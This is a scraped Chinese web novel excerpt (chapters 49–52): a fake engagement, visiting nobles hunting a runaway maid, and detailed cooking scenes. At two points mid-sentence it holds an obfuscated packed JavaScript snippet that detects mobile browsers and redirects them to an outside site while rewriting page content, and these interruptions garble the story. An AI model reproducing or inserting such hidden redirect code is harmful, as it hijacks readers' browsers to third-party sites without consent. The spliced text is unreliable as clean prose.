“阿茂总是这般和善,谁在他嘴里都只有个好字,说起画像想必是当年在庐州所作的药园图吧,这么多年了难为他还一直放在心上。”程六水语笑晏晏,纤细手指自然而然地回握住了张清寒。 “兄长自程门出事急得不行,他心里是极挂念你的,可惜找遍了庐州都未寻到你。去岁承袭爵位便愈发忙碌了,我每每见他,他总是郁郁在怀眉头紧锁,他要是知道你就在这江陵,定然放下手中事来找你。”白婉瑜打眼一瞧那张大人的脸色,半点没有顾忌继续说道。 “阿茂向来重情,都怪我当年出事颠沛流离了几年,直到遇到清寒我才安顿下来。”程六水说着便含情脉脉地望向张清寒,一双圆溜溜的眸子万千柔情中还带着些许感激。 她接着说道,“阿茂如今事多繁重,国家大事理当为先不可耽误了,待他何时来江陵公干,我们相见才好。” 张清寒冷着一张脸,半句话都不愿多说,幸亏他天生冷脸,不然这烈火烹心再大卸八块的苦楚就得露出来了,昨夜六水一顿忽悠,忽悠得他真觉着她与白承茂间不过尔尔,可如今看来那白承茂定然是同他一样,情根深种无法自拔,偏偏遇上这么个没心没肺的程六水,真是伤透了脑筋。 “好都依六水的,兄长这等公干的机会不少,说不定过两月便来了。”白婉瑜不再痴缠,转头说道,“张大人,我这舟车劳顿的,不知可有空房接我借宿一二?” “方知府曾与我言,你此次前来是带了皇后娘娘的圣令的,这等御史身份在我这小小酒楼怎行?想必方知府早就备好宅邸了。”张清寒这回连笑都不笑了,直截了当道。 “张大人说笑了,你皇城司使住得,我怎就住不得,常年在京中宅院里待着,好不容易出来一趟再住宅邸实在是无趣得很,倒不如你这儿市井人家更为贴近百姓生活,这不也合了皇后娘娘察访江陵人政的御令吗?”白婉瑜在御前行走多时,说话办事是滴水不漏,这番话不软不硬有理有据,甚至最后还搬出了皇后,实在是一座大山压过来。 “那正好,若是你不嫌弃便在这里住下,我们这啊可热闹了,邻里邻居极为捧场生意好得很,伙计们也是有意思得很呢。”程六水完美假笑面具下已然摇摇欲坠了,老天爷啊谁能告诉她,白承茂的妹妹怎么这么难缠,那白承茂没生出来的九曲回肠是不是全给他妹妹了。 “哪里会嫌弃呢,我这人最喜欢热闹了,你莫要把我当成什么御史,只将我当作白承茂的妹妹,你与我兄长是青梅竹马,这么算来你我也是姐妹情谊了。”白婉瑜说罢,更是亲亲热热地挎过程六水,将那张清寒甩在了一边。 程六水自然无有不应,半个眼色都没留给张清寒,自顾自地引着白婉瑜去了二楼空着的厢房。 待到程六水再下来时,只见那张清寒铁青的脸色别提有多难看了,指挥着卫侯夫人的侍从们一趟一趟的搬箱笼。 “怎么了?我的张大人。”程六水撑着一张笑脸,脚底却虚浮得很,就差要一头栽倒在板凳上了。 张清寒见状哪里还敢摆脸色,忙不迭地端茶倒水伺候着,“无事,只是今日怕是要一顿忙活,想必生意是做不成了。” “御史亲临少做一天生意没什么的,瞅着也是快日上三竿了,不如你随我去看看为卫侯夫人做些什么吃食?”程六水小心翼翼地探出脑袋,一下子就瞧着了白婉瑜的侍女仍在大堂逗留着,看着低眉顺意实则怕不是在监视着他们的一言一行。 张清寒也瞧见了,顺从地道了句“好。”两人恩恩爱爱地就离了大堂,一到了后院,程六水半点端庄也不顾了,拉着张清寒就往自己房里跑啊,不知道以为后面有奥运冠军追她呢。 进了门还不算,程六水蹑手蹑脚地关紧了所有门窗,提着小襦裙贼头贼脑地趴着墙听屋外有没有人在监听。 那一本正经的做贼模样,瞧得张清寒头不痛心不气了,不禁轻笑道,“放心吧,他们要是在屋外,我能听到他们的呼吸。” “这么厉害?!”程六水一听就惊着了,蹙着弯眉在张清寒身边打起了转,真是连连称奇啊,这人放现代不就是人肉雷达侦测系统嘛,现成的牛马不去当办案可惜了了。 张清寒这下子被看得颇有些不自在,六水眼神怎么怪怪的,自己仿佛成了砧板上的肉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16672646|184456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “咳咳,这白婉瑜住下来,怕是一时半会走不了了,得劳烦你再多忍耐些时日。” “哎呀不要这么客气嘛,这假扮女友的活我既然接了,肯定是让东家你买不了吃亏买不了上当的。”程六水如奸商般笑得那叫一个狡猾,接着又问道,“咱是一天算一天的钱吧?” “。。。是。”张清寒咬着牙道,六水也别叫六水了,改名叫钱串子吧。 “那演得好有没有提成啊?我刚才演得多好,我现在想起都不得不为自己拍案叫绝,不亚于戏班子专业出身的。”程六水没吃过猪肉还没见过猪跑吗,宫斗剧宅斗剧里的人都这么说话,随便一句话都能让观众分析个百八十遍。 “呵确实不错,真情实感得很,我看不像演的,句句都是你的肺腑之言。”张清寒一想到方才,嘴里的酸话就不自觉地往外冒,半点都是控制不住的。 程六水一抬头,只见眼前东家冷着一张脸,眼刀子仿佛正朝着自己飞来,这祖宗是又怎么了?按理说青春期早过了啊,怎么一会儿笑呵呵一会儿皱巴巴的,喜怒阴晴十分不定。 要是往常,程六水闲着没事总还是愿意说些俏皮话逗逗金主东家的,可今日起得早又费了许多脑子,实在是懒得管了,她假装压根没听出来张东家的阴阳怪气,抓起方桌上的零食筐子就吃了起来。 这零食筐子是她最近刚寻摸的,自从手头宽裕不少,筐子里牛舌饼金丝蜜枣梨脯,瓜子花生应有尽有,程六水想着大早上吃些甜腻蜜饯对牙不好,拣了块牛舌饼小口小口吃了起来。 层层叠叠的酥皮下椒盐咸香,难得的咸口里又掺着丝丝缕缕的甜,瞬间舒缓了程六水一早上的疲惫,做厨子难做演员更难,做没有台词临场发挥的演员真是难上加难。 张清寒眼瞅着程六水吃得欢天喜地,一块牛舌饼不够还要接着吃第二块,他这边气得要死,她倒好吃得香睡得好,半点事也不耽误啊。 实在气不过,一只宽大的手说时迟那时快,以雷霆万钧之势,在第二块牛舌饼入口前的前一瞬硬生生被夺下,张清寒恶狠狠地一口全塞进了自己的嘴里,吹胡子瞪眼睛的吓人得很。 到嘴的牛舌饼飞了,飞到了程六水打不过的人嘴里,程六水心中立时升起了一股难以抑制的愤怒,愤怒到她直接上前捏住了张清寒吃得鼓鼓囊囊的脸,使劲揉搓了起来。 “吃吃吃!我叫你吃,我捏死你!”向来护食的程六水咆哮道。 单方面的扭打下,张清寒极白的脸迅速绯红一片,嘴角的酥皮渣子都没擦干净,委屈巴巴的眼睛里甚至生出了湿润之意。 好不容易咽下牛舌饼的张清寒,默不作声低头停滞了几瞬,才眼角殷红道,“到我这,就是要捏死我了,别人那里却都是些什么重情和善。” “???”程六水正享受着胜利的喜悦,金丝蜜枣的清甜将将在嘴里炸开便卡住了,什么重情和善?他们不是在抢饼吗? 50. 第 50 章 忽悠人不打草稿的程六水大脑宕机了,眼前之人本该如山间月巅上雪,如今却可怜得不成样子,活像受了奇耻大辱般委屈,震得程六水是说也说不得,打也打不得,都恨不得自己负荆请罪了。 “我那不是顺口胡诌的吗?毕竟是御史的亲哥哥,怎么也不能说些不着四六的话啊。”程六水悄悄揪了揪张清寒的衣袖,一双眼心虚地滴溜溜转个不停。 张清寒撇过脸来,梗着脖子不肯罢休,仿若未曾听见程六水的解释,可那耳朵却竖得比谁都直。 程六水努着嘴鼓着脸,宛如一尾圆鼓鼓小锦鲤,悄然探头到张清寒耳后道,“嘿嘿东家,给你吃梨脯,我亲手腌煎的可甜了。” 温热潮湿的气息侵袭着张清寒敏感且脆弱的耳朵尖,一抖抖的根本控制不住,他整个人怔愣在原地不敢动弹,轻柔清甜的声音从耳后传来,怕是要比那蜜糖腌过的梨脯甜上百倍。 本就被捏红的脸颊现下早已快熟透了,张清寒抿着嘴唇半天都说不出话来,胸中洪流瞬间地动山摇难以收拾,乌云不知何时悄然离去,唯余熊熊烈火烹心。 “怎么了,梨脯都不吃了?”程六水转过身来到张清寒身前,低着头掰开他紧紧握住的手掌道。 一只大手轻轻松松地被掰开,澄黄清香的梨脯放在了白皙却皆是指痕的手掌心里,“吃吧吃吧,我这梨脯宝贝得很,只舍得给你吃。” 程六水说罢才抬起头来,好家伙东家怎么脸红成柿子了,“东家,你不会是发烧了吧?”紧接着便踮起脚尖伸出手来摸着他的额头。 张清寒猛然站了起来不禁后退闪躲了几步,随后才气息不稳道,“我没事,就是这屋里太闷了。” “太闷了?”程六水狐疑着,瞥见角落里的轩窗明明支开了半扇,许许春风绕屋来。 张清寒随着程六水的目光看去,随即更是低下了头,深深地长舒了口气才接着开口,“白承茂年少入仕,不过数载便声名鹊起,其才华显而易见,更遑论出身侯爵树大根深,是个不可多得的治世之才。” 程六水啃着梨脯,乖乖地抱着零食筐子窝在圈椅里,眨巴着大大的眼睛点了点头,心里却半点波澜都没有,只有对自己伟大的烹饪手艺连连称赞,这果脯做得都能开铺子了,到时候开遍整个大乾,就叫“三只梨脯”。 “自然了树大招风,白承茂的性子在朝中也是出了名的。”张清寒停顿了几瞬,目光望向老实巴交的程六水。 程六水咧着嘴傻笑了起来,显然她深谙一个道理,本本分分做人,尤其是在把对方都快惹哭了的时候。 张清寒敛起眼眸,摇着头不禁笑出了声,不知是笑自己傻还是笑六水傻,亦或是笑远在京城的白承茂傻,“他是出了名的心狠手辣睚眦必报,刚及弱冠便是雷霆手段,朝中无人不知无人不晓。” 程六水这时才皱了皱眉,这怎么同她记忆中的白承茂相差甚远,“真的吗?我明明记得小时候,他总是跟着我跑,我还拿毛毛虫吓他呢,吓得他哇哇大哭。” “说不定就是被你吓成这样的。”张清寒故作开怀地调笑道,他悄悄咽下了未说完的话,毒蛇只会在鲜美的果子前驻足停留,正如冰雪总会情不自禁地在春晖中消融。 “我才没有呢,但白承茂这个妹妹一看就是狠角色,说话那个九曲十八弯啊。”程六水摇了摇头,不禁为日后的演艺事业担忧。 “无事,她如今这番表现,我倒是不担心了。”张清寒也吃起了梨脯,这回是一点都不客气,从筐子里抓了好几个呢。 “为何?”程六水仰着脑袋不解道。 “她素来是个心有成算的人,若是此行真是想寻个由头引我回京,方才便不会如此说起白承茂,瞧着是故意引得你我猜忌。”张清寒轻声道。 “可你我猜忌亲事不成,酒楼成了伤心地,江陵你便无所牵挂,不是正好引你回京?”程六水反问道。 “那你说我是个什么性子?”张清寒温和一笑道。 “你。。。说实话不扣工钱吧?”程六水眼睛一转,讨好笑道。 “放心说吧,不扣你钱。”张清寒无奈道,实在是拿这个钱串子没什么办法。 “你冷心冷情城府极深,旁人轻易猜不透你的心思。”程六水摇了摇道,眼见着冷心冷情的某人脸也冷了,才接着道,“不过相处久了,便知你是个顶顶可靠的人,有时也不乏可爱之处。” “算你会说。”张清寒没好气道,“我惯不是那直来直去的随意性子,既能定亲又怎会轻易因旁人而分崩离析。白婉瑜在殿前行走多时,怎会在我面前玩这样的小把戏。” 张清寒说罢垂眸不语,他与六水若是真是情投意合定了终身,莫说是一个白承茂,便是十个皇帝来又能奈他何?此生此世没有什么能将他们分开,眼眸中藏着无人察觉的偏执执拗。 “你说得倒是有那么点道理,可她此行如果不是为了让你回京,那是为什么?江陵组团游?”程六水一时间有点跟不上古代人算东算西的脑回路,但现代人的思维告诉她两者之间直线最短,她脑中不禁灵光一现道,“如果她不让你回京城,那我们是不是就不用假装定亲了呀?” “我不知她到底是为了什么,但一定与江陵有关,甚至与酒楼有关。”张清寒挑眉道,“还有我们必须装下去,御史得上令来此,欺骗御史相当于欺君。” “欺君?!老天爷啊我要涨工钱,不然我这脆弱的小心脏实在承受不了这样的压力。”程六水作势就要晕倒,两眼一翻就要过去了,小手还不忘自己给自己掐人中。 “涨涨涨,你说涨多少就涨多少。”张清寒扶额又是叹气道,总有一天自己就是被六水气死的。 “哦耶!”程六水立马坐得板板正正,从柜子里取出小算盘开始算起帐来。 “六水,除了算账你是不是还忘了什么事?”张清寒笑眯眯道。 程六水忙不迭地从算盘里抬起头来,眉头一皱哦豁好明媚的日头,貌似到后院不是来算账的,而是来做饭的! “嘿嘿你给我打下手。”程六水咧嘴道。 “好。”张清寒点了点头,甘之如饴道。 后厨里灶火早已燃起,两个狗狗祟祟的人都蹲在那里仔细钻研着,半只老母鸡剁成了块,在砂锅中翻滚着,极为鲜美的香味充斥着整个后厨。 “上次六水怎么说来着?是不是还差什么肉来着?”马陶陶摸着下巴一本正经道。 “老母鸡,火腿肉,猪瘦肉条,确实好像缺了一样。”脑子同样不是十分好使的乔四方挠了挠头道。 两人背后忽然传来了一清脆声音,“缺了干贝。” “对对对!”马陶陶一拍脑袋,赶忙翻箱倒柜找到加了进去,“哎?六水你终于来了!” 程六水十分熟练地系上了碎花小围裙,砂锅中咕嘟咕嘟的高汤正在吊着,她又将大缸子上的盖子取了下来,竟是不老少的螃蟹,一个个正在那横行霸道呢。 大大的蒸锅里,二三十只螃蟹被困在了里面,灵活的蟹钳上抱着黄姜片,上盖开蒸。 这边蒸上了螃蟹,张清寒还在那剥虾,如今的河虾个头都不大,小小一只先是把虾仁剥出来,随后虾脑膏黄也放到一旁的小碗里, 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待一切准备齐全,程六水直接热锅烧油,半头姜切成了碎末倒入锅中翻炒,生姜辣人而熟姜却别有风味,此时再放入剥好的蟹黄,此时柴火火候极小,熬着熬着蟹黄便出了油香,蟹肉再伴着花雕酒下锅,锅中金灿灿的蟹黄裹着雪白的蟹肉,螃蟹的鲜甜被彻底激发了出来,盐巴白糖最后再来点高汤,一个劲地翻炒起来,这蟹黄浇头便成了。 单是这蟹黄浇头却是不够的,程六水难得地取了猪油热锅,用蛋清腌好的虾仁三两下便在锅中变了色,此时再下虾脑虾籽翻炒,这三虾浇头吃得就是一个鲜,难就难在同是虾却有三种鲜,虾仁清爽弹牙,虾脑醇厚鲜美,虾籽更是鲜中精华,这三者汇聚于锅中引得张清寒都开始探头探脑了。 “别急别急,我再炒个浇头的。”程六水看着眼前这一个个饿狼扑食的伙计们,赶忙说道。 最后一个浇头便是那罗汉素浇头了,菜籽油中木耳黄花菜香菇笋干一同将整个冬日里的山中滋味爆香,再取时令的胡萝卜茭白,还有极为吸汁的油豆腐一同翻炒。 佐以清酱砂糖胡椒粉调味,倒入许多香菇水咕嘟咕嘟炖煮着,盖子牢牢盖好万不可让一丝香味溜走,最后简单勾芡那浓稠的汤汁裹在各式各样的素菜上,一口便能暖了心暖了胃。 程六水拣了六小碗,碗中蟹黄浇头,三虾浇头,罗汉素浇头自不必说,其余的便是酒楼食客们人人称道的豆酱,胡瓜丝萝卜丝豆芽菜点缀着,再有就是一碗吊了许久的老母鸡高汤,六小碗簇拥着煮得极为劲道恰到好处的面条。 “好了,给御史大人送去吧,其余的我们都给吃光光!”程六水也馋得要命,肚子都叫了好几回了。 谁曾想这回没人敢去送了,马陶陶和乔四方一个望天一个望地,不是做饭那时候的勤快样子了。 “让玉雨去送吧。”张清寒无奈道。 “不行不行,玉雨病才刚好,正是劳累不得的时候,不如还是东家你去吧?”程六水俏皮道。 “。。。好”张清寒只得点了点头道。 “嘿嘿那我去叫玉雨吃饭去喽!”程六水蹦蹦跳跳去赵玉雨屋里找人去了。 而在二楼收拾妥帖的卫侯夫人,斜倚在榻上百无聊赖地望向窗外,再向下一瞧,这拐角窗子下面怎么还有个梯子呢。 “连云,你打听仔细了,那人就在酒楼里?”白婉瑜好似不在意般问道。 “正是,奴婢循着杜尚书独子的醉酒之言,几经探访确定此人就在这儿,与画像上一模一样。”连云低头谦卑道,说罢将怀中画像递于自家主子。 白婉瑜纤纤玉指接过那薄如蝉翼的纸张,精妙绝伦的画功描绘着画中人,如此栩栩如生令人难以忘怀。 51. 第 51 章 晃眼日光轻而易举地砸在了画像上,白婉瑜不禁皱眉几下,却仍目不转睛地看着,如诗如画的眉眼迸发出了不该有的热烈狂野,她忍不住伸出指尖细细勾勒着画上人的面庞。 “咳咳。”身后忽而传来冰冷的声音,不知何时张清寒早已站在此处。 白婉瑜怔愣了几瞬,才慢悠悠地将手中的画像翻折起来放在一旁道,“张大人腿脚倒快,在京中还收敛着,不曾想来这却连门都不敲了。” “我本来也没走门。”张清寒轻放浇头面在桌上,坐在椅子上面无表情地看向白婉瑜。 连云给自家主子递了个眼色,目光随之一转,白婉瑜更是气不顺了,这人竟是从梯子上上来的。 “我说呢,原来竟成了野人了。”白婉瑜没好气道。 张清寒本是想顺便将这梯子移走,奈何他双眼如炬,又探查办案多年,一打眼便瞧见了画中人,饶是他见事老道,也脚打粗溜滑了,绝世轻功都抛诸脑后了。 “白御史不必顾左右而言他,说说吧。”张清寒本就是个不愿解释的性子,开门见山道。 白婉瑜使了个眼色,左右侍女便推出了房间,她这才微微坐直了身子道,“说什么?有什么好说的。” “若是你不说也无妨,这画像不如让我带回去物归原主?”张清寒手指微微一动,那画像仿佛被隔空取物般,“嗖”地一下来到了张清寒的手上。 “你!张清寒你莫要得寸进尺。”白婉瑜这才失了体面,大声呵斥道。 “哪里算得上得寸进尺,这是我的地盘,客随主便不是再正常不过了吗?”张清寒微微笑道,紧接着他又言道,“你虽做了御前女官几载,然去岁便已出宫嫁人,皇后是个素来知情识趣的人,断没有让新婚夫妇分离的道理,而你今日能出现在这儿,自然是你向皇后求来的。” 白婉瑜盛气凌人的眸子顿时消散了几分火焰,她却仍撑着道,“求与不求,与你又有何干?今日我就是皇后娘娘亲派御史,接得密令便是带你回京为君分忧,你要是不随我回京,便是抗旨。” 张清寒仍旧面不改色心不跳,“皇后让你带我回京,你带不回去,不是你抗旨吗?同我有什么关系。” “你!”白婉瑜语塞哽咽,她哪里见过这等不要脸皮的人,气得恨不得将这人大卸八块泄愤。 “行了,你来这里有你要做的事,我不拦着,你自然也莫要把主意打在我身上,你我都行个方便。”张清寒直截了当道。 白婉瑜顺气了好几下才说道,“放心吧,谁敢在你身上打主意啊,玉面修罗冷心人,你还是想想怎么唬住程姑娘吧,她可不是你这等刀尖舔血的人。” “刀?我很久没用过那东西,顶多只用过菜刀。”张清寒淡然道,“吃吧,我未婚妻给你做的,她人好心善,我却舍不得她,以后你就下来吃大锅饭吧。” 白婉瑜紧紧攥住手,强忍着怒火脸都要气红了,奈何强龙不压地头蛇,她只能拿起筷子敷衍着。 澄黄白嫩的蟹黄蟹肉裹住了老母鸡汤里煮过一回的劲道面条,浓郁醇厚鲜到极致的螃蟹香味在空气中飘荡着,白婉瑜本来气都气饱了,可谁知鼻翼微动腹中便一阵饥肠辘辘,再低头一瞧原来竟不止这蟹黄面,还有最得她心意的三虾浇头,配上仍在冒着热气的鸡汤,怎一个勾人啊。 眼随心动,方才的意气愤慨早就不知哪去了,一口蟹黄面一口三虾面,再来几口鸡汤,舟车劳顿的味蕾瞬间被打开,埋头苦吃起来都不用人劝的,待到吃了个半饱才反应过来,自己不是刚刚在生气吗? 回头一瞧,屋子里早已不见张清寒的踪影了,白婉瑜这才放下心来,继续大吃特吃起来! 而张清寒走得极快,直奔后院而来,推开后厨门正欲问个清楚明白,就见那方才挤满人的厨房早就跑光了,唯有程六水在那儿煮面,一旁则是三不五时就来蹭吃蹭喝的方知府。 “哎呦张老弟,快来吃上一口,六水这浇头做得真是金银都不换。”方知府捧着个大海碗说起话来。 “他们人呢?”张清寒越过方知府问道。 “今日酒楼不做生意,他们就出去逛逛,怎么了?”程六水实诚地又煮了一海碗面放到了张清寒面前。 张清寒再急也只能坐在方知府身旁,轻声道“无事,等他们回来再说吧。”紧接着问道,“方大人你是来见白御史的?” “我昨日刚见过了白御史,将江陵面貌一概都说于她听了。”方知府从碗里抬起头道。 “那你今日所来为何?”张清寒在面上浇了勺罗汉素浇头,煸得极为软烂的黄花菜木耳极为开胃爽口,而那油豆腐则是吸满了汤汁,一咬开就满嘴都是山珍时蔬的清香。 方知府忽而放下了筷子,神情说不出的疲惫心累道,“老弟啊,你说说我今年是什么运道,前脚来了个宫中御史,要来查这江陵人政,后脚驿馆消息又来了,卫侯马上就到江陵了。” “卫侯?长安侯卫无平?白婉瑜的新婚夫婿?”张清寒刚吃两口的面哽住了。 “可不是吗?我看是那卫侯舍不得白御史,这才寻了个由头追来。”方知府一副了然于胸过来人的模样,笑眯眯地拍了拍张清寒的肩膀道。 程六水一听就来了兴致,拄着下巴赶忙问道,“卫侯与白御史感情这么好的嘛?” 不等方知府开口,张清寒直接说道,“年少相识两小无猜。” “那不就青梅竹马门当户对,一个是侯爵公子一个是御前红人,怎一个般配了得。”程六水听罢不禁磕道。 “他们两个从小就面合心不合,两人皆城府极深,没少给对方使绊子。”张清寒叹了口气道。 “那怎会成亲?”正吃瓜吃得起劲的程六水皱眉问道。 “父母之命媒妁之言,长安侯府与伯远侯府相互依仗结两姓之好,从不被小儿女的私情而左右。况且这桩亲事是两位老侯爷逝去前定下的,儿女自然没有不遵先命的道理。”张清寒习以平常道,京城中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689749|184456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样的亲事如过江之鲫,半点真情道理没有,却是最为稳固的利益联结。 “那卫侯追来是做什么?”程六水和方知府同时开口问道,两人皆被这亲事的原委惊得瞠目结舌。 张清寒猛然醒悟,素来敛起的眼眸瞪大,拉着程六水就往外跑。 “哎!”程六水提着自己的粉襦裙十分猝不及防,说是她跑其实她那脚都不带沾地的,整个飞在空中。 “张老弟你跑什么啊!等等我!”方知府穿着身官服,半点也不顾父母官的颜面了,跟在这二人后面跑得都快喘不上来气了。 他也不想跑啊,常年在府衙里打转,跑两步就累得想躺地上,可不跑不行啊。能让这位皇城司使都吓了一跳,嗖嗖跑的事,自己不跑能行吗? 张清寒听见了方知府的喊叫,一边跑一边回头问道,“卫侯现在何处?” “昨夜还在枣阳驿,约莫现下已经到江陵了。”方知府上气不接下气道。 哪曾想这话音刚落,前面这两人“嗖”地一下就不见了身影,给方知府吓得前后左右看了好一会儿,也没想明白这两人是怎么没的。 而彻底在空中的程六水已然放弃了挣扎,她跟这些会武功的古代人说不明白,生无可恋地往下看了看,还行没有刚穿越那会儿的悬崖高,掉下去应该死不了,死不了就行,也不要求什么别的了。 待到她双脚踏踏实实落在地面上的时候,只见乔四方,马陶陶还有赵玉雨三人正在狗市看狗。 三人看着从天而降的程六水和张清寒,纷纷都愣住了,眨巴眨巴着眼睛半天都说不出话来。 “东家,我们就看看不买的,你不用飞着来抓我们。”马陶陶抱着怀里刚刚两个月大的小哈巴狗,眼神闪躲道,而她手里的银钱早已被卖家接过去了。 “养狗好,养狗能看家护院。”乔四方默默解释道。 “东家,我这不是生病刚好嘛,陶陶就想买只小狗逗我开心。”赵玉雨挡在最前面道。 张清寒一言不发,一个极为凌厉的眼刀飞去,他拉着程六水,程六水挽着马陶陶,马陶陶带着赵玉雨,后面还跟着个屁颠屁颠的乔四方,一行人消失在集市中不知所踪,当然还有只哈巴狗也跟着跑了。 断口子河春日未到汛期,河上已有撑船的船家,如今商路发达船只造得也比前几年大了许多,坐下五人一狗还绰绰有余,撑船的人则带着极大的草帽将自己遮得严严实实的,对着张清寒点了点头,便放下了门帘。 一只船就在断口子河上飘来荡去,无人有能耐探听分毫,更别提这河面上街道上有多少皇城司使的暗探,无孔不入地盯梢着。 酒楼五人面面相觑地坐在船里,小哈巴狗早就支撑不住睡着了,四脚朝天地趴在赵玉雨脚旁。 张清寒低声却极快地说了一成串的话,听得众人是一愣一愣的,程六水更是久久没缓过神来,最后迷茫地转过头问道,“玉雨,到底是白御史要找你?还是卫侯要找你?” 52. 第 52 章 微风透过船帘,轻拂着赵玉雨苍白面庞,她前些日子生了场病,病不大也就是伤风却着实养了许久,养到千方百计躲着的人都来了江陵,只为来寻她。 “我与白御史……并不相熟,只是听过她的名字,又远远见过那么几次。我当时便想,如此钟灵毓秀举止端方的大家闺秀嫁于卫侯,便当真是天造地设的一对了。”赵玉雨并未抬头,只是抱起了熟睡的小哈巴狗,轻柔地梳理着它雪白橘黄的软毛道。 “我想起来了,杜二二有次同我讲,他见你愈发眼熟,但怎么也想不起来在哪见过你,所以你们是在卫侯府上见过吗?”程六水小心翼翼道,小动物本能的直觉告诉她,这是一桩头破血流的伤心事,本该忙不迭地捂住耳朵当作什么都不知,可出事的是玉雨啊。 赵玉雨依旧温和地笑着,眼神中藏着极为隐晦的痛,“是,我本就是卫侯府上的小丫鬟,七八岁便被爹娘卖给了人牙子,幸得老长安侯夫人心善买下了我,我便跟着她做些力所能及的差事。 待我愈发大了,老夫人见我伶俐,便将我调去了卫侯身边,那时的卫侯还只是世子,正如这坊间俗气得不能再俗气的本子,我与世子有过一段还算不错的时光。 后来老夫人便知道了,她是个极为和善心慈的人,她唤我来到她的身旁,仍如往常那般温柔地对我,她说再给我一次机会,若是我愿意,就销了我的奴籍予我银钱,送我去封地的庄子上做个管事的,自由自在不必再圈在这大宅院里,过着一眼便能望到头的日子。” “那你没答应?”马陶陶接着问道。 赵玉雨接着摇了摇头道,“我没有半点犹豫,只是几瞬便拒绝了老夫人,放弃了唾手可得的自由,那时的我哪里舍得世子,世子虽对外人冷漠,待我却极好,我笑他便随着我笑,我哭他也要急得团团转转,若是丢下他一人在这偌大的侯府,怕是在拿刀剐我的心口。 后来老夫人走了,老侯爷也撒手人寰,世子承袭爵位不出两年,便是京中响当当的人物了,他也愈发忙碌了,我半月才能见他一回,仍旧做着丫鬟的活计,直到有一日我在侯府见到了白小姐。”赵玉雨苦笑了下。 程六水心里紧随着被狠狠揪住了,她紧紧靠在赵玉雨身旁,蹙着眉心疼地接着听她说道, “原来他们二人早有婚约,只待孝期一过便要成亲了,可叹我在府中竟然半点也不知晓,后来我才知是卫侯下令府中诸人不许在我面前提起的,这一瞒竟瞒了好多年。 我知我自己是个什么身份,从不敢奢求做卫侯真正的枕边人,他这样的世家子弟定是要有桩门当户对的亲事。于是我便愈发做小伏低,只盼他能给我个妾室的名分,只要离他近些便好。” “他……不愿给你吗?”马陶陶抿嘴惊道,她家虽说是后来才发家的,却也靠着皇室恩典在京城中有些地位,这等事虽不说家家都有,却也不少见,多半都是会留有情面的,除非是碰上那眼里容不了沙子的主母,才会给些银钱送走。 可瞧着玉雨这样子,两者都不像,更像是走投无路逃出来的。 “卫侯自然不愿意,他就想让我这样无名无分的跟着他,莫说是妾室就是个外室都算不上,我就是个丫鬟而已。最可笑的是,他竟还编什么瞎话唬我,说名分没什么要紧的,只要我在他身边便是最好的,想见我随时都能见,待白小姐做了主母也奈何不得。 我没读过什么书,却也识得字明白道理,跟着卫侯名分没有真心更不知,难道就只做一辈子的丫鬟吗?围着个只把我当个玩意儿的人,那我这余生还不如不要过了好了。那一夜我后悔了,我忽然明白了当年老夫人眼里的可惜,她在可惜我亲手折断了逃离这牢笼的翅膀,只能拖着沉重的锁链日复一日地在这里蹉跎一生。 原来老夫人才是那个知我懂我真正怜惜我的人,而卫侯……他不过是拿我当作召之即来挥之即去的小宠罢了。 于是我就逃了,在他们成亲的第二日,我亲手烧了我的卖身契,离开了侯府。”赵玉雨从那难捱的岁月回忆中抬起头来,如释重负地笑道。 “逃得好!我跟你说玉雨,别人越不把咱们当人看,咱们越得活出个人样来。不为别的,就为咱们受过的苦,都得开开心心地活着。”一直沉默不语的乔四方大声道,咧着嘴笑得那叫一个灿烂。 赵玉雨这才被真正逗笑了,“好,我在很好很好地活着,我和六水学厨艺,少仲还要教我酿酒,前几日我连算盘珠子都会了。” “是啊,玉雨你不用怕他们,东家是大官,他肯定都能搞定!”程六水挽过赵玉雨的手道。 某大官张清寒猝不及防地抬起头,是在说他吗?他连自己的儿女情长都没搞定,还能搞定这么个复杂的事? “那个……我也是识得卫侯的,这人吧是骄纵了些,毕竟是千尊玉贵养大的世家子,性情确实古怪了点。可这样人也最好琢磨,凡是行事皆有目的,他娶白婉瑜是为了家族门楣,可他千里迢迢来追你追到江陵,是为了什么呢?”张清寒饱含深意望着赵玉雨道。 接着他又问道,“况且不止卫侯来了,他新婚燕尔的夫人白婉瑜也来了,最为稀奇的是这二人一前一后,明面上都是为了公事来的,实则却皆是为了你。” “为了我?”赵玉雨直起身子,压根半点也不相信。 忽然船外传来了呼啸的风声,风雨欲来吹开了半扇船帘,遥遥一望岸边立着两人,那男子长身而立风流倜傥,眉宇间的忧虑不安仍不掩其风姿绰约,而女子不是别人正是那吃了两碗浇头面的白婉瑜。 两人本是夫妻,站得却不近,一个比一个焦急地朝着船只的方向看,张清寒趁着船只离岸边还有些距离嘱托道,“这两人一个比一个精,他们说什么你都别答应,要不然被买了都得倒数钱。” “放心吧东家,我本是害怕卫侯找来的,可如今到节骨眼却不怕了,他们如此做派我只觉好笑。”赵玉雨主动掀开另外半扇船帘道。 世事多坎坷,怕是没有用的,她赵玉雨要将这些坎坷一个个都掀翻,当然了要是能把那个卫侯掀河里去更好。 “哐当”一声,船只终于是靠了岸,只见这岸上一男一女都撑着伞,两个人在极为宽敞的路上挤来挤去,恨不得最先来到赵玉雨身前,那卫侯眼眸湿漉漉的望向赵玉雨。 